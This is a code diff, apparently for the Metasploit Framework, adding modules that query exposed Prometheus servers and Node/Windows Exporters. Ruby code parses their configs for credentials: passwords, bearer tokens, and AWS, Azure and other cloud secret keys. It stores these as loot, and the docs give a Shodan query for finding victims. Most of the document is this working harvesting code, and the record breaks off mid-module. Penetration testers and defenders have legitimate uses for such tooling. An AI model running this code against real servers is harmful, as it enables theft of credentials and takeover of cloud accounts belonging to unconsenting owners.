diff --git a/documentation/modules/auxiliary/gather/prometheus_api_gather.md b/documentation/modules/auxiliary/gather/prometheus_api_gather.md new file mode 100644 index 000000000000..7d02a3af08e9 --- /dev/null +++ b/documentation/modules/auxiliary/gather/prometheus_api_gather.md @@ -0,0 +1,61 @@ +## Vulnerable Application + +This module utilizes Prometheus' API calls to gather information about +the server's configuration, and targets. Fields which may contain +credentials, or credential file names are then pulled out and printed. + +Targets may have a wealth of information, this module will print the following +values when found: +`__meta_gce_metadata_ssh_keys`, `__meta_gce_metadata_startup_script`, +`__meta_gce_metadata_kube_env`, `kubernetes_sd_configs`, +`_meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration`, +`__meta_ec2_tag_CreatedBy`, `__meta_ec2_tag_OwnedBy` + +Shodan search: `"http.favicon.hash:-1399433489"` + +A docker image is [available](https://hub.docker.com/r/prom/prometheus) however +this basic configuration has almost no interest data. Configuring it can be tricky +as it may not start w/o being able to contact the contacted services. + +## Verification Steps + +1. Install the application or find one on the Internet +1. Start msfconsole +1. Do: `use auxiliary/gather/prometheus_api_gather` +1. Do: `set rhosts [ip]` +1. Do: `run` +1. You should get any valuable information + +## Options + +## Scenarios + +### Prometheus 2.39.1 + +``` +msf6 auxiliary(gather/prometheus_api_gather) > set rhosts 11.111.11.111 +rhosts => 11.111.11.111 +msf6 auxiliary(gather/prometheus_api_gather) > set rport 80 +rport => 80 +msf6 auxiliary(gather/prometheus_api_gather) > run +[*] Running module against 11.111.11.111 + +[*] 11.111.11.111:80 - Checking build info +[+] Prometheus found, version: 2.39.1 +[*] 11.111.11.111:80 - Checking status config +[+] YAML config saved to /root/.msf4/loot/20230815174315_default_11.111.11.111_PrometheusYAML_982929.yaml +[+] Credentials +=========== + + Name Config Host Port Public/Username Private/Password/Token Notes + ---- ------ ---- ---- --------------- ---------------------- ----- + kubernetes-apiservers authorization Bearer /var/run/secrets/kubernetes.io/serviceaccount/token + kubernetes-nodes authorization Bearer /var/run/secrets/kubernetes.io/serviceaccount/token + kubernetes-nodes-cadvisor authorization Bearer /var/run/secrets/kubernetes.io/serviceaccount/token + +[*] 11.111.11.111:80 - Checking targets +[+] JSON targets saved to /root/.msf4/loot/20230815174315_default_11.111.11.111_PrometheusJSON_145604.json +[*] 11.111.11.111:80 - Checking status flags +[+] Config file: /etc/config/prometheus.yml +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/gather/prometheus_node_exporter_gather.md b/documentation/modules/auxiliary/gather/prometheus_node_exporter_gather.md new file mode 100644 index 000000000000..d80adc1ebd03 --- /dev/null +++ b/documentation/modules/auxiliary/gather/prometheus_node_exporter_gather.md @@ -0,0 +1,132 @@ +## Vulnerable Application + +This modules connects to a Prometheus Node Exporter or Windows Exporter service +and gathers information about the host. + +Tested against Docker image 1.6.1, Linux 1.6.1, and Windows 0.23.1 + +### Install + +#### Docker + +`docker run -d --net="host" --pid="host" -v "/:/host:ro,rslave" quay.io/prometheus/node-exporter:latest --path.rootfs=/host` + +#### Linux + +[Instructions](https://prometheus.io/docs/guides/node-exporter/#installing-and-running-the-node-exporter) + +``` +wget https://github.com/prometheus/node_exporter/releases/download/v1.6.1/node_exporter-1.6.1.linux-amd64.tar.gz +tar xvfz node_exporter-1.6.1.linux-amd64.tar.gz +cd node_exporter-*.*-amd64 +./node_exporter --collector.buddyinfo --collector.cgroups --collector.drm --collector.drbd --collector.ethtool --collector.interrupts --collector.ksmd --collector.lnstat --collector.logind --collector.meminfo_numa --collector.mountstats --collector.network_route --collector.perf --collector.processes --collector.qdisc --collector.slabinfo --collector.softirqs --collector.sysctl --collector.systemd --collector.tcpstat --collector.wifi --collector.zoneinfo +``` + +#### Windows + +Download the latest release from [github](https://github.com/prometheus-community/windows_exporter/releases) + +Run it with the following command: +``` +.\windows_exporter-0.23.1-amd64.exe --collectors.enabled ad,adcs,adfs,cache,cpu,cpu_info,cs,container,dfsr,dhcp,dns,exchange,fsrmquota,hyperv,iis,logical_disk,logon,memory,mscluster_cluster,mscluster_network,mscluster_node,mscluster_resource,mscluster_resourcegroup,msmq,mssql,netframework_clrexceptions,netframework_clrinterop,netframework_clrjit,netframework_clrloading,netframework_clrlocksandthreads,netframework_clrmemory,netframework_clrremoting,netframework_clrsecurity,net,os,process,remote_fx,scheduled_task,service,smtp,system,tcp,teradici_pcoip,time,thermalzone,terminal_services,textfile,vmware_blast,vmware +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/gather/prometheus_node_exporter_gather` +1. Do: `set rhosts [ip]` +1. Do: `run` +1. You should get information back about the host. + +## Options + +## Scenarios + +### Docker 1.6.1 + +``` +msf6 > use auxiliary/gather/prometheus_node_exporter_gather +msf6 auxiliary(gather/prometheus_node_exporter_gather) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(gather/prometheus_node_exporter_gather) > set verbose true +verbose => true +msf6 auxiliary(gather/prometheus_node_exporter_gather) > run +[*] Running module against 127.0.0.1 + +[*] 127.0.0.1:9100 - Checking +[+] 127.0.0.1:9100 - Prometheus Node Exporter version: 1.6.1 +[+] Go Version: go1.20.6 +[+] SELinux enabled: 0 +[+] Timezone: UTC +[+] BIOS Information +================ + + Field Value + ----- ----- + Asset Tag + Board Name 000000 + Board Vendor Sanitized + Board Version 111 + Chassis Asset Tag + Chassis Vendor Sanitized + Date 04/17/2023 + Product Family Sanitized + Product Name Sanitized + System Vendor Sanitized + Vendor Sanitized + Version 1.0.0 + +[+] OS Information +============== + + Field Value + ----- ----- + Family kali + Name Kali GNU/Linux + Pretty Name Kali GNU/Linux Rolling + Version 2023.3 + Version Codename kali-rolling + Version ID 2023.3 + +[+] Network Interfaces +================== + + Device MAC Broadcast State + ------ --- --------- ----- + br-4b55fa64cd13 de:ad:be:ef:de:ad de:ad:be:ef:de:ad down + br-65f1f7a9ff61 de:ad:be:ef:de:ad de:ad:be:ef:de:ad down + docker0 de:ad:be:ef:de:ad de:ad:be:ef:de:ad up + eth0 de:ad:be:ef:de:ad de:ad:be:ef:de:ad down + lo de:ad:be:ef:de:ad de:ad:be:ef:de:ad unknown + vethe418d5c de:ad:be:ef:de:ad de:ad:be:ef:de:ad up + wlan0 de:ad:be:ef:de:ad de:ad:be:ef:de:ad up + +[+] File Systems +============ + + Device Mount Point FS Type + ------ ----------- ------- + /dev/mapper/map--new--vg-root / ext4 + /dev/nvme0n1p1 /boot/efi vfat + /dev/nvme1n1p2 /boot ext2 + tmpfs /run tmpfs + tmpfs /run/lock tmpfs + tmpfs /run/user/1000 tmpfs + tmpfs /run/user/125 tmpfs + +[+] uname Information +================= + + Field Value + ----- ----- + Arch x86_64 + Domain Name (none) + Node Name ragekali-new + OS Type Linux + Release 6.3.0-kali1-amd64 + Version #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) + +[*] Auxiliary module execution completed +``` diff --git a/lib/msf/core/auxiliary/prometheus.rb b/lib/msf/core/auxiliary/prometheus.rb new file mode 100644 index 000000000000..7567a9ca3ee2 --- /dev/null +++ b/lib/msf/core/auxiliary/prometheus.rb @@ -0,0 +1,581 @@ +# -*- coding: binary -*- + +module Msf + ### + # + # This module provides methods for working with Prometheus node exporter + # + ### + module Auxiliary::Prometheus + include Msf::Auxiliary::Report + + # returns username, password + def process_authorization(auth) + if auth['credentials'] + # credential foobar + return '', auth['credentials'] + elsif auth['credentials_file'] + # type: Bearer + # credentials_file: /var/run/secrets/kubernetes.io/serviceaccount/token + return auth['type'], auth['credentials_file'] + end + end + + # processes a generic URI for creds + def process_embedded_uri(uri, job_name, config_name) + uri = URI(uri) + cred = credential_data + cred[:port] = uri.port + cred[:address] = uri.host + cred[:username] = uri.user + cred[:private_data] = uri.password + cred[:service_name] = uri.scheme + create_credential_and_login(cred) + @table_creds << [ + job_name, + config_name, + uri.host, + uri.port, + uri.user, + uri.password, + '' + ] + end + + def credential_data + { + # these 4 need to be changed every time + # address: thost, + # port: tport, + # username: username + # private_data: hash + protocol: 'tcp', + workspace_id: myworkspace_id, + origin_type: :service, + private_type: :password, + service_name: '', + module_fullname: fullname, + status: Metasploit::Model::Login::Status::UNTRIED + } + end + + def process_dns_sd_configs(job_name, dns_sd_configs) + dns_sd_configs['names']&.each do |name| + username = dns_sd_configs.dig('basic_auth', 'username') + password = dns_sd_configs.dig('basic_auth', 'password') + password = dns_sd_configs.dig('basic_auth', 'password_file') if dns_sd_configs.dig('basic_auth', 'password_file') + uri = URI("#{dns_sd_configs['scheme']}://#{name}") + cred = credential_data + cred[:port] = uri.port + cred[:address] = uri.host + cred[:username] = dns_sd_configs.dig('basic_auth', 'username') + cred[:private_data] = password + cred[:service_name] = dns_sd_configs['scheme'] + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'dns_sd_configs', + uri.host, + uri.port, + username, + password, + '' + ] + end + end + + def process_consul_sd_configs(job_name, consul_sd_configs) + uri = URI("#{consul_sd_configs['scheme']}://#{consul_sd_configs['server']}") + cred = credential_data + cred[:port] = uri.port + cred[:address] = uri.host + cred[:username] = '' + cred[:private_data] = consul_sd_configs['token'] + cred[:service_name] = consul_sd_configs['scheme'] + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'consul_sd_configs', + uri.host, + uri.port, + '', + consul_sd_configs['token'], + "Path Prefix: #{consul_sd_configs['path_prefix']}" + ] + end + + def process_kubernetes_sd_configs(job_name, kubernetes_sd_configs) + username = kubernetes_sd_configs.dig('basic_auth', 'username') + password = kubernetes_sd_configs.dig('basic_auth', 'password') + password = kubernetes_sd_configs.dig('basic_auth', 'password_file') if kubernetes_sd_configs.dig('basic_auth', 'password_file') + + uri = URI(kubernetes_sd_configs['api_server']) + cred = credential_data + cred[:port] = uri.port + cred[:address] = uri.host + cred[:username] = username + cred[:private_data] = password + cred[:service_name] = uri.scheme + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'kubernetes_sd_configs', + uri.host, + uri.port, + username, + password, + "Role: #{kubernetes_sd_configs['role']}" + ] + end + + def process_kuma_sd_configs(job_name, targets) + return if targets['server'].nil? + return unless targets['server'].include? '@' + + process_embedded_uri(targets['server'], job_name, 'kuma_sd_configs') + end + + def process_marathon_sd_configs(job_name, marathon_sd_configs) + marathon_sd_configs['servers']&.each do |servers| + uri = URI(servers) + cred = credential_data + cred[:port] = uri.port + cred[:address] = uri.host + cred[:username] = '' + cred[:private_data] = marathon_sd_configs['auth_token'] + cred[:service_name] = uri.scheme + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'marathon_sd_configs', + uri.host, + uri.port, + '', + marathon_sd_configs['auth_token'], + '' + ] + end + end + + def process_nomad_sd_configs(job_name, targets) + return if targets['server'].nil? + return unless targets['server'].include? '@' + + process_embedded_uri(targets['server'], job_name, 'nomad_sd_configs') + end + + def process_ec2_sd_configs(job_name, ec2_sd_configs) + cred = credential_data + cred[:port] = '' + cred[:address] = '' + cred[:username] = ec2_sd_configs['access_key'] + cred[:private_data] = ec2_sd_configs['secret_key'] + cred[:service_name] = '' + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'ec2_sd_configs', + '', + '', + ec2_sd_configs['access_key'], + ec2_sd_configs['secret_key'], + "Region: #{ec2_sd_configs['region']}, Profile: #{ec2_sd_configs['profile']}" + ] + end + + def process_lightsail_sd_configs(job_name, lightsail_sd_configs) + cred = credential_data + cred[:port] = '' + cred[:address] = '' + cred[:username] = lightsail_sd_configs['access_key'] + cred[:private_data] = lightsail_sd_configs['secret_key'] + cred[:service_name] = '' + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'lightsail_sd_configs', + '', + '', + lightsail_sd_configs['access_key'], + lightsail_sd_configs['secret_key'], + "Region: #{lightsail_sd_configs['region']}, Profile: #{lightsail_sd_configs['profile']}" + ] + end + + def process_azure_sd_configs(job_name, azure_sd_configs) + cred = credential_data + cred[:port] = azure_sd_configs['port'] + cred[:address] = '' + cred[:username] = azure_sd_configs['client_id'] + cred[:private_data] = azure_sd_configs['client_secret'] + cred[:service_name] = azure_sd_configs['authentication_method'] + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'azure_sd_configs', + '', + azure_sd_configs['port'], + azure_sd_configs['client_id'], + azure_sd_configs['client_secret'], + "Environment: #{azure_sd_configs['environment']}, Subscription ID: #{azure_sd_configs['subscription_id']}, Resource Group: #{azure_sd_configs['resource_group']}, Tenant ID: #{azure_sd_configs['tenant_id']}" + ] + end + + def process_http_sd_configs(job_name, http_sd_configs) + return if http_sd_configs['url'].nil? + return unless http_sd_configs['url'].include? '@' + + process_embedded_uri(http_sd_configs['url'], job_name, 'http_sd_configs') + end + + def process_digitalocean_sd_configs(job_name, digitalocean_sd_configs) + username, password = process_authorization(digitalocean_sd_configs['authorization']) + cred = credential_data + cred[:port] = '' + cred[:address] = '' + cred[:username] = username + cred[:private_data] = password + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'digitalocean_sd_configs', + '', + '', + username, + password, + '' + ] + end + + def process_hetzner_sd_configs(job_name, hetzner_sd_configs) + username = hetzner_sd_configs.dig('basic_auth', 'username') + password = hetzner_sd_configs.dig('basic_auth', 'password') + + username, password = process_authorization(hetzner_sd_configs['authorization']) if hetzner_sd_configs.dig('authorization', 'credentials') + + cred = credential_data + cred[:port] = '' + cred[:address] = '' + cred[:username] = username + cred[:private_data] = password + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'hetzner_sd_configs', + '', + '', + username, + password, + hetzner_sd_configs['role'] + ] + end + + def process_eureka_sd_configs(job_name, eureka_sd_configs) + return if eureka_sd_configs['server'].nil? + return unless eureka_sd_configs['server'].include? '@' + + process_embedded_uri(eureka_sd_configs['server'], job_name, 'eureka_sd_configs') + end + + def process_ovhcloud_sd_configs(job_name, ovhcloud_sd_configs) + cred = credential_data + cred[:port] = '' + cred[:address] = ovhcloud_sd_configs['endpoint'] + cred[:username] = ovhcloud_sd_configs['application_key'] + cred[:private_data] = ovhcloud_sd_configs['application_secret'] + cred[:service_name] = ovhcloud_sd_configs['service'] + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'ovhcloud_sd_configs', + ovhcloud_sd_configs['endpoint'], + '', + ovhcloud_sd_configs['application_key'], + ovhcloud_sd_configs['application_secret'], + "Consumer Key: #{ovhcloud_sd_configs['consumer_key']}, Service: #{ovhcloud_sd_configs['service']}" + ] + end + + def process_scaleway_sd_configs(job_name, scaleway_sd_configs) + cred = credential_data + cred[:port] = '' + cred[:address] = '' + cred[:username] = scaleway_sd_configs['access_key'] + cred[:private_data] = scaleway_sd_configs['secret_key'] + cred[:service_name] = scaleway_sd_configs['role'] + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'scaleway_sd_configs', + '', + '', + scaleway_sd_configs['access_key'], + scaleway_sd_configs['secret_key'], + "Project ID: #{scaleway_sd_configs['project_id']}, Role: #{scaleway_sd_configs['role']}" + ] + end + + def process_linode_sd_configs(job_name, linode_sd_configs) + username, password = process_authorization(linode_sd_configs['authorization']) + cred = credential_data + cred[:port] = '' + cred[:address] = '' + cred[:username] = username + cred[:private_data] = password + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'linode_sd_configs', + '', + '', + username, + password, + '' + ] + end + + def process_uyuni_sd_configs(job_name, uyuni_sd_configs) + uri = URI(uyuni_sd_configs['server']) + cred = credential_data + cred[:port] = uri.port + cred[:address] = uri.host + cred[:username] = uyuni_sd_configs['username'] + cred[:private_data] = uyuni_sd_configs['password'] + cred[:service_name] = uri.scheme + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'uyuni_sd_configs', + uri.host, + uri.port, + uyuni_sd_configs['username'], + uyuni_sd_configs['password'], + '' + ] + end + + def process_ionos_sd_configs(job_name, ionos_sd_configs) + _username, password = process_authorization(ionos_sd_configs['authorization']) + # we may hit an issue here where we have a type stored in username, but use datacenter_id + # as the username + cred = credential_data + cred[:port] = '' + cred[:address] = '' + cred[:username] = ionos_sd_configs['datacenter_id'] + cred[:private_data] = password + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'ionos_sd_configs', + '', + '', + ionos_sd_configs['datacenter_id'], + password, + '' + ] + end + + def process_vultr_sd_configs(job_name, vultr_sd_configs) + username, password = process_authorization(vultr_sd_configs['authorization']) + cred = credential_data + cred[:port] = '' + cred[:address] = '' + cred[:username] = username + cred[:private_data] = password + create_credential_and_login(cred) + @table_creds << [ + job_name, + 'vultr_sd_configs', + '', + '', + username, + password, + '' + ] + end + + def prometheus_config_eater(yamlconf) + @table_creds = Rex::Text::Table.new( + 'Header' => 'Credentials', + 'Indent' => 2, + 'Columns' => + [ + 'Name', + 'Config', + 'Host', + 'Port', + 'Public/Username', + 'Private/Password/Token', + 'Notes' + ] + ) + + yamlconf['scrape_configs']&.each do |scrape| + # check for targets which have creds built in to the URL + if scrape['static_configs'] + scrape['static_configs']&.each do |static| + static['targets']&.each do |target| + if target.include? '@' + uri = URI(target) + cred = credential_data + cred[:port] = uri.port + cred[:address] = uri.host + cred[:username] = uri.user + cred[:private_data] = uri.password + cred[:service_name] = uri.scheme + create_credential_and_login(cred) + @table_creds << [ + scrape['job_name'], + 'static_configs Target', + uri.host, + uri.port, + uri.user, + uri.password, + '' + ] + end + end + end + elsif scrape['dns_sd_configs'] + scrape['dns_sd_configs']&.each do |dns_sd_configs| + # pass in basic_auth from the level above + if dns_sd_configs['basic_auth'].nil? && scrape['basic_auth'] + dns_sd_configs['basic_auth'] = {} + dns_sd_configs['basic_auth']['username'] = scrape.dig('basic_auth', 'username') if scrape.dig('basic_auth', 'username') + dns_sd_configs['basic_auth']['password'] = scrape.dig('basic_auth', 'password') if scrape.dig('basic_auth', 'password') + dns_sd_configs['basic_auth']['password_file'] = scrape.dig('basic_auth', 'password_file') if scrape.dig('basic_auth', 'password_file') + end + + # pass in the 'scheme' from a level above to propely build the URI + if dns_sd_configs['scheme'].nil? && scrape['scheme'] + dns_sd_configs['scheme'] = scrape['scheme'] + end + + process_dns_sd_configs(scrape['job_name'], dns_sd_configs) + end + elsif scrape['consul_sd_configs'] + scrape['consul_sd_configs']&.each do |consul_sd_configs| + process_consul_sd_configs(scrape['job_name'], consul_sd_configs) + end + elsif scrape['authorization'] + username, password = process_authorization(scrape['authorization']) + cred = credential_data + cred[:port] = '' + cred[:address] = '' + cred[:username] = username + cred[:private_data] = password + create_credential_and_login(cred) + @table_creds << [ + scrape['job_name'], + 'authorization', + '', + '', + username, + password, + '' + ] + elsif scrape['kubernetes_sd_configs'] + scrape['kubernetes_sd_configs']&.each do |kubernetes_sd_configs| + next unless kubernetes_sd_configs['api_server'] + + # if scrape has basic auth, but the individual config doesn't + # add it to the individual config + if kubernetes_sd_configs['basic_auth'].nil? && scrape['basic_auth'] + kubernetes_sd_configs['basic_auth'] = {} + kubernetes_sd_configs['basic_auth']['username'] = scrape.dig('basic_auth', 'username') if scrape.dig('basic_auth', 'username') + kubernetes_sd_configs['basic_auth']['password'] = scrape.dig('basic_auth', 'password') if scrape.dig('basic_auth', 'password') + kubernetes_sd_configs['basic_auth']['password'] = scrape.dig('basic_auth', 'password_file') if scrape.dig('basic_auth', 'password_file') + end + + process_kubernetes_sd_configs(scrape['job_name'], kubernetes_sd_configs) + end + elsif scrape['kuma_sd_configs'] + scrape['kuma_sd_configs']&.each do |targets| + process_kuma_sd_configs(scrape['job_name'], targets) + end + elsif scrape['marathon_sd_configs'] + scrape['marathon_sd_configs']&.each do |marathon_sd_configs| + process_marathon_sd_configs(scrape['job_name'], marathon_sd_configs) + end + elsif scrape['nomad_sd_configs'] + scrape['nomad_sd_configs']&.each do |targets| + process_nomad_sd_configs(scrape['job_name'], targets) + end + elsif scrape['ec2_sd_configs'] + scrape['ec2_sd_configs']&.each do |ec2_sd_configs| + process_ec2_sd_configs(scrape['job_name'], ec2_sd_configs) + end + elsif scrape['lightsail_sd_configs'] + scrape['lightsail_sd_configs']&.each do |lightsail_sd_configs| + process_lightsail_sd_configs(scrape['job_name'], lightsail_sd_configs) + end + elsif scrape['azure_sd_configs'] + scrape['azure_sd_configs']&.each do |azure_sd_configs| + process_azure_sd_configs(scrape['job_name'], azure_sd_configs) + end + elsif scrape['http_sd_configs'] + scrape['http_sd_configs']&.each do |http_sd_configs| + puts http_sd_configs + process_http_sd_configs(scrape['job_name'], http_sd_configs) + end + elsif scrape['digitalocean_sd_configs'] + scrape['digitalocean_sd_configs']&.each do |digitalocean_sd_configs| + process_digitalocean_sd_configs(scrape['job_name'], digitalocean_sd_configs) + end + elsif scrape['hetzner_sd_configs'] + scrape['hetzner_sd_configs']&.each do |hetzner_sd_configs| + process_hetzner_sd_configs(scrape['job_name'], hetzner_sd_configs) + end + elsif scrape['eureka_sd_configs'] + scrape['eureka_sd_configs']&.each do |eureka_sd_configs| + process_eureka_sd_configs(scrape['job_name'], eureka_sd_configs) + end + elsif scrape['ovhcloud_sd_configs'] + scrape['ovhcloud_sd_configs']&.each do |ovhcloud_sd_configs| + process_ovhcloud_sd_configs(scrape['job_name'], ovhcloud_sd_configs) + end + elsif scrape['scaleway_sd_configs'] + scrape['scaleway_sd_configs']&.each do |scaleway_sd_configs| + process_scaleway_sd_configs(scrape['job_name'], scaleway_sd_configs) + end + elsif scrape['linode_sd_configs'] + scrape['linode_sd_configs']&.each do |linode_sd_configs| + process_linode_sd_configs(scrape['job_name'], linode_sd_configs) + end + elsif scrape['uyuni_sd_configs'] + scrape['uyuni_sd_configs']&.each do |uyuni_sd_configs| + process_uyuni_sd_configs(scrape['job_name'], uyuni_sd_configs) + end + elsif scrape['ionos_sd_configs'] + scrape['ionos_sd_configs']&.each do |ionos_sd_configs| + process_ionos_sd_configs(scrape['job_name'], ionos_sd_configs) + end + elsif scrape['vultr_sd_configs'] + scrape['vultr_sd_configs']&.each do |vultr_sd_configs| + process_vultr_sd_configs(scrape['job_name'], vultr_sd_configs) + end + end + end + print_good(@table_creds.to_s) if !@table_creds.rows.empty? + end + + def process_results_page(page) + # data is in a strange 'label{optional_kv_hash-ish} value' format. + return nil if page.nil? + + results = [] + page.scan(/^(?\w+)(?:{(?[^}]+)})? (?[\w.+-]+)/).each do |hit| + result = {} + value = { 'value' => hit[2], 'labels' => {} } + if hit[1] + hit[1].scan(/(?[^=]+?)="(?[^"]*)",?/).each do |label| + value['labels'][label[0]] = label[1] + end + end + result[hit[0]] = value + results.append(result) + end + return results + end + end +end diff --git a/modules/auxiliary/gather/prometheus_api_gather.rb b/modules/auxiliary/gather/prometheus_api_gather.rb new file mode 100644 index 000000000000..697cac07e4ba --- /dev/null +++ b/modules/auxiliary/gather/prometheus_api_gather.rb @@ -0,0 +1,151 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Prometheus + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Prometheus API Information Gather', + 'Description' => %q{ + This module utilizes Prometheus' API calls to gather information about + the server's configuration, and targets. Fields which may contain + credentials, or credential file names are then pulled out and printed. + + Targets may have a wealth of information, this module will print the following + values when found: + __meta_gce_metadata_ssh_keys, __meta_gce_metadata_startup_script, + __meta_gce_metadata_kube_env, kubernetes_sd_configs, + _meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration, + __meta_ec2_tag_CreatedBy, __meta_ec2_tag_OwnedBy + + Shodan search: "http.favicon.hash:-1399433489" + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die' + ], + 'References' => [ + ['URL', 'https://jfrog.com/blog/dont-let-prometheus-steal-your-fire/'] + ], + + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DisclosureDate' => '2016-07-01', # Prometheus 1.0 release date, who knows.... + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(9090), + OptString.new('TARGETURI', [ true, 'The URI of Prometheus', '/']) + ] + ) + end + + def run + vprint_status("#{peer} - Checking build info") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'buildinfo'), + 'method' => 'GET' + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200 + json = res.get_json_document + version = json.dig('data', 'version') + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (unable to find version number)") unless version + print_good("Prometheus found, version: #{version}") + + vprint_status("#{peer} - Checking status config") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'config'), + 'method' => 'GET' + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200 + json = res.get_json_document + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json + yaml = json.dig('data', 'yaml') + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (unable to find yaml)") unless yaml + begin + yamlconf = YAML.safe_load(yaml) + loot_path = store_loot('Prometheus YAML Config', 'application/yaml', datastore['RHOST'], yaml, 'config.yaml') + print_good("YAML config saved to #{loot_path}") + prometheus_config_eater(yamlconf) + rescue Psych::DisallowedClass + # [-] Auxiliary failed: Psych::DisallowedClass Tried to load unspecified class: Symbol + print_bad('Unable to load YAML') + end + + vprint_status("#{peer} - Checking targets") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'targets'), + 'method' => 'GET' + ) + table_targets = Rex::Text::Table.new( + 'Header' => 'Target Data', + 'Indent' => 2, + 'Columns' => + [ + 'Field', + 'Data' + ] + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200 + + json = res.get_json_document + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json + loot_path = store_loot('Prometheus JSON targets', 'application/json', datastore['RHOST'], json.to_json, 'targets.json') + print_good("JSON targets saved to #{loot_path}") + json.dig('data', 'activeTargets').each do |target| + [ + '__meta_gce_metadata_ssh_keys', '__meta_gce_metadata_startup_script', '__meta_gce_metadata_kube_env', 'kubernetes_sd_configs', + '_meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration', '__meta_ec2_tag_CreatedBy', '__meta_ec2_tag_OwnedBy' + ].each do |key| + if target[key] + table_targets << [ + key, + target[key] + ] + end + + next unless target.dig('discoveredLabels', key) + + table_targets << [ + key, + target.dig('discoveredLabels', key) + ] + end + end + + print_good(table_targets.to_s) if !table_targets.rows.empty? + + vprint_status("#{peer} - Checking status flags") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'status', 'flags'), + 'method' => 'GET' + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200 + json = res.get_json_document + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON document") unless json + print_good("Config file: #{json.dig('data', 'config.file')}") if json.dig('data', 'config.file') + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end +end diff --git a/modules/auxiliary/gather/prometheus_node_exporter_gather.rb b/modules/auxiliary/gather/prometheus_node_exporter_gather.rb new file mode 100644 index 000000000000..9ff2592f4f9a --- /dev/null +++ b/modules/auxiliary/gather/prometheus_node_exporter_gather.rb @@ -0,0 +1,315 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Prometheus + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Prometheus Node Exporter And Windows Exporter Information Gather', + 'Description' => %q{ + This modules connects to a Prometheus Node Exporter or Windows Exporter service + and gathers information about the host. + + Tested against Docker image 1.6.1, Linux 1.6.1, and Windows 0.23.1 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die' + ], + 'References' => [ + ['URL', 'https://github.com/prometheus/node_exporter'], + ['URL', 'https://sysdig.com/blog/exposed-prometheus-exploit-kubernetes-kubeconeu/'] + ], + + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DisclosureDate' => '2013-04-18', # node exporter first commit on github + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(9100), # windows 9182 + OptString.new('TARGETURI', [ true, 'The URI of the Prometheus Node Exporter', '/']) + ] + ) + end + + def run + vprint_status("#{peer} - Checking ") + # since we will check res to see if auth was a success, make sure to capture the return + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response from server (response code #{res.code})") unless res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Prometheus Node Exporter not found") unless ( + res.body.include?('

Prometheus Node Exporter

') || + res.body.include?('Node Exporter') || # version 0.15.2 + res.body.include?('

Prometheus Exporter for Windows servers

